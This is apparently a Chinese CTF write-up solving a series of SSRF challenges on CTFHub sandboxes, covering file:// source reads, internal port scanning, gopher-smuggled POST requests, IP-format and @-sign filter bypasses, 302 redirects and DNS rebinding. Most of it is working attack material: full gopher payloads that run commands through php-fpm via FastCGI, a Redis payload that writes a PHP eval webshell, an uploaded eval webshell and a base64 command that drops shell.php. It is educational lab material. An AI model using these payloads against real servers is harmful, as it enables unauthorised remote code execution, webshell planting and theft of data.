打开题目。
提示的很明显。
/?url=http://127.0.0.1/flag.php
查看题目描述。
既然是伪协议读取文件,在SSRF中常用的伪协议就是file:///协议了,其在ssrf中可以用来读取php源码。
/?url=file:///var/www/html/flag.php
//file:/// -- 本地文件传输协议,主要用于访问本地计算机中的文件
查看题目描述。
方法一:
burp扫描端口。
这是一道SSRF的题目,所以并不是用御剑或者其他网站后台目录扫描工具进行尝试,根据同一技能数下的前2道题目,可以想到这一题是需要扫描127.0.0.1这一内网地址下的端口,所以我们可以尝试使用BURPSUITE来进行爆破尝试。
专业版burp秒出
方法二:
python脚本爆破。
import requests
url = 'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000'
for index in range(8000, 9001):
url_1 = f'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}'
res = requests.get(url_1)
print(index, res.text)
题目描述:
这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦。
先扫一下目录。 python dirsearch.py -u 网址 -t 1 -x 400,403,404,500,503,429
貌似不能直接访问。
简单SSRF一下,index.php啥也没有,flag.php有个key。key=f910c419bfd35923eaaa16a22d1ac240
url=http://127.0.0.1/flag.php
接着,我们将index.php和flag.php的源码读出来:
/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php
index.php:
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
flag.php:
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
应该是让我们把key交上去,尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=
在使用 Gopher协议发送 POST请求包时,Host
、Content-Type
和Content-Length
请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl
功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码:
在第一次编码后的数据中,将%0A
全部替换为%0D%0A
。因为 Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节。
python脚本:
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回车,回车结尾表示http请求结束。Content-Length是key=e01fdff5c126356cb64cf2436f8c7704的长度
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df910c419bfd35923eaaa16a22d1ac240%250D%250A
传参,/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df910c419bfd35923eaaa16a22d1ac240%250D%250A
%0D%0A感觉原理好像CRLF
和上题一样步骤先读出源码。
index.php
flag.php
所以只要传个文件进去就行了,大小大于0。
没有提交上传按钮,自己前端改写一个。
然后burp抓包。
修改Host: 127.0.0.1:80,跑脚本生成payload。
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/111.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------352872462627546662763253896363%250D%250AContent-Length%253A%2520395%250D%250AOrigin%253A%2520http%253A//challenge-81e4adb40db6b8ed.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-81e4adb40db6b8ed.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------352872462627546662763253896363%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.pHp%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250AGIF89a%250D%250A%253C%253Fphp%250D%250Aeval%2520%2528%2524_POST%255Bjay17%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------352872462627546662763253896363%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------352872462627546662763253896363--%250D%250A
传参/?url=payload得到flag。
FastCGI
Wikipedia对FastCGI的解释:快速通用网关接口(Fast****Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
php-fpm
官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。
php-fpm攻击实现原理
想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php
这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On
时,就会在执行php脚本之前包含环境变量auto_prepend_file
所指向的文件内容,php://input
也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
Gopherus工具生成攻击FastCGI的payload。
利用条件:
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径
桌面快捷方式开终端,然后
python2 gopherus.py --exploit fastcgi
之后有两个地方可以输入
第一个地方输入:
一个已知存在的php文件如/var/www/html/index.php
第二个地方输入:
希望目标服务器执行的恶意命令,比如echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php 或者 ls/cat f*
得到payload。
//ls /
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
//cat /f*
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
将payload再进行一次url编码。
传入/?url=payloadurl编码。
题目描述:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。
Gopherus工具生成攻击Redis的payload。
桌面快捷方式开终端,然后
python2 gopherus.py --exploit redis
之后有三个地方可以输入。
第一个地方输入:
这里选择是反弹shell还是正向shell //这题phpshell
第二个地方输入:
服务器根目录,默认为/var/www/html,可以直接回车
第三个地方输入:
后门代码比如: //默认写入根目录的shell.php
得到payload。
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27jay%27%5D%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
url编码一次传入。
已经有shell.php了,虽然504。
蚁剑貌似连不上,直接RCE。
题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。
说url必须以 “http://notfound.ctfhub.com” 开头。我们可以利用@
来绕过,如 http://[email protected]实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://[email protected]与 http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容。
payload:
?url=http://[email protected]/flag.php
题目描述:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
不能直接访问。
payload:
?url=http://localhost/flag.php
?url=http://0/flag.php
?url=http://0x7F000001/flag.php
?url=http://2130706433/flag.php
payload
http://0.xip.io/flag.php
http://localhost.xip.io/flag.php
http://①②⑦.⓪.⓪.①.xip.io/flag.php
或者302跳转:利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中。 302跳转就是由一个URL跳转到另外一个URL当中去,就好比现实生活中的呼叫转移,在网页中比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag/.php。 在自己服务器上面放一个302.php或者直接在线网站。
302.php:
?url=http://121.37.162.21/302.php
题目描述:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助。
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
网址
rbndr.us dns rebinding service (cmpxchg8b.com)
?url=7f000001.7f000002.rbndr.us/flag.php
IP会在A、B两个之间反复切换。我们知道,127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost,所以A和B都能进内网。